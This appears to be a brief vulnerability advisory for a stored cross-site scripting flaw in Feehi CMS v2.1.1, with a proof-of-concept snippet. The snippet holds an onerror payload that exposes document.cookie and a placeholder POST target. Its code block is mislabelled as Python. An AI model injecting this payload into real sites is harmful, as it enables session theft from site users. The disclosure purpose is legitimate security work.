An authenticated stored cross-site scripting (XSS) vulnerability in Feehi CMS v2.1.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Page Sign parameter.
The following code is for security research and authorized testing only.
python
<!--
// PoC for CVE-2026-31350: Feehi CMS Stored XSS
// Description: Inject script into 'Page Sign' parameter
-->
<script>
// Example payload to be injected into the Page Sign parameter
const payload = '<img src=x onerror=alert(document.cookie)>';
// Attacker sends this data via a POST request to the vulnerable endpoint
// e.g., /admin/controller/action
const data = {
'PageSign': payload,
'other_param': 'value'
};
console.log('Injecting payload:', payload);
</script>